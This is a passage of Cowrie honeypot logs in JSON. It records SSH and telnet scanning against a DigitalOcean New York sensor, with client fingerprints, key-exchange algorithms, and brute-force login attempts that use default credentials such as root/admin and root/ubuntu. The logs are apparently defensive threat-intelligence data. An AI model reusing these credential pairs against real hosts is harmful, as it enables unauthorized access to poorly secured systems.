.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:40:26.213124Z","src_ip":"195.178.110.218","session":"4392db8b2a37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:40:26.452445Z","src_ip":"195.178.110.218","session":"4392db8b2a37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.0780837535858154,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:40:26.860799Z","src_ip":"64.62.156.142","session":"f0df32b71dd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:40:27.533838Z","src_ip":"195.178.110.218","session":"4392db8b2a37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":52836,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a4bd09c1c50","protocol":"ssh","message":"New connection: 92.118.39.92:52836 (159.203.135.109:22) [session: 2a4bd09c1c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:40:37.175851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:40:37.180712Z","src_ip":"92.118.39.92","session":"2a4bd09c1c50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:40:37.286963Z","src_ip":"92.118.39.92","session":"2a4bd09c1c50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:40:37.600565Z","src_ip":"92.118.39.92","session":"2a4bd09c1c50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:40:38.710696Z","src_ip":"92.118.39.92","session":"2a4bd09c1c50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.38.236.76","src_port":33980,"dst_ip":"10.17.0.5","dst_port":23,"session":"465eed673628","protocol":"telnet","message":"New connection: 103.38.236.76:33980 (10.17.0.5:23) [session: 465eed673628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:40:41.907559Z"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:40:42.349152Z","src_ip":"103.38.236.76","session":"465eed673628","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:40:42.386945Z","src_ip":"103.38.236.76","session":"465eed673628","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.237.176.209","src_port":44280,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0cd5f81fac1","protocol":"ssh","message":"New connection: 171.237.176.209:44280 (159.203.135.109:22) [session: d0cd5f81fac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:41:03.051635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:41:03.056651Z","src_ip":"171.237.176.209","session":"d0cd5f81fac1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:41:03.317833Z","src_ip":"171.237.176.209","session":"d0cd5f81fac1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bounce","password":"bouncepass","message":"login attempt [bounce/bouncepass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:41:04.391252Z","src_ip":"171.237.176.209","session":"d0cd5f81fac1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:41:05.654579Z","src_ip":"171.237.176.209","session":"d0cd5f81fac1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.66.193.212","src_port":59710,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfb3d46dc28a","protocol":"ssh","message":"New connection: 182.66.193.212:59710 (159.203.135.109:22) [session: cfb3d46dc28a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:41:21.107729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:41:21.112442Z","src_ip":"182.66.193.212","session":"cfb3d46dc28a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:41:21.343137Z","src_ip":"182.66.193.212","session":"cfb3d46dc28a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:41:22.037328Z","src_ip":"182.66.193.212","session":"cfb3d46dc28a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":40040,"dst_ip":"159.203.135.109","dst_port":22,"session":"059a4728c67f","protocol":"ssh","message":"New connection: 92.118.39.92:40040 (159.203.135.109:22) [session: 059a4728c67f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:42:56.299594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:42:56.352041Z","src_ip":"92.118.39.92","session":"059a4728c67f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:42:56.431961Z","src_ip":"92.118.39.92","session":"059a4728c67f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:42:56.859374Z","src_ip":"92.118.39.92","session":"059a4728c67f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:42:57.975131Z","src_ip":"92.118.39.92","session":"059a4728c67f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":43124,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cd4b5311c5d","protocol":"ssh","message":"New connection: 195.178.110.218:43124 (10.17.0.5:22) [session: 4cd4b5311c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:43:11.435040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:43:11.439501Z","src_ip":"195.178.110.218","session":"4cd4b5311c5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:43:11.518997Z","src_ip":"195.178.110.218","session":"4cd4b5311c5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:43:11.876869Z","src_ip":"195.178.110.218","session":"4cd4b5311c5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:43:12.958127Z","src_ip":"195.178.110.218","session":"4cd4b5311c5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":303,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"180.0","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 180.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:43:42.387608Z","src_ip":"103.38.236.76","session":"465eed673628","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":180.48791909217834,"message":"Connection lost after 180 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:43:42.395398Z","src_ip":"103.38.236.76","session":"465eed673628","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.237.176.209","src_port":47232,"dst_ip":"159.203.135.109","dst_port":22,"session":"54f8132a0f34","protocol":"ssh","message":"New connection: 171.237.176.209:47232 (159.203.135.109:22) [session: 54f8132a0f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:44:01.265579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:44:01.270179Z","src_ip":"171.237.176.209","session":"54f8132a0f34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:44:01.530207Z","src_ip":"171.237.176.209","session":"54f8132a0f34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xray","password":"123","message":"login attempt [xray/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:44:02.601923Z","src_ip":"171.237.176.209","session":"54f8132a0f34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:44:03.865352Z","src_ip":"171.237.176.209","session":"54f8132a0f34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.197.41","src_port":39598,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa0f8bc4a90c","protocol":"ssh","message":"New connection: 160.251.197.41:39598 (159.203.135.109:22) [session: aa0f8bc4a90c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:44:20.551487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:44:20.556607Z","src_ip":"160.251.197.41","session":"aa0f8bc4a90c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:44:20.730556Z","src_ip":"160.251.197.41","session":"aa0f8bc4a90c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xray","password":"123","message":"login attempt [xray/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:44:21.457138Z","src_ip":"160.251.197.41","session":"aa0f8bc4a90c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:44:22.632910Z","src_ip":"160.251.197.41","session":"aa0f8bc4a90c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":51928,"dst_ip":"10.17.0.5","dst_port":22,"session":"c77dfc847af7","protocol":"ssh","message":"New connection: 2.57.121.112:51928 (10.17.0.5:22) [session: c77dfc847af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:45:06.025170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:45:06.029467Z","src_ip":"2.57.121.112","session":"c77dfc847af7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 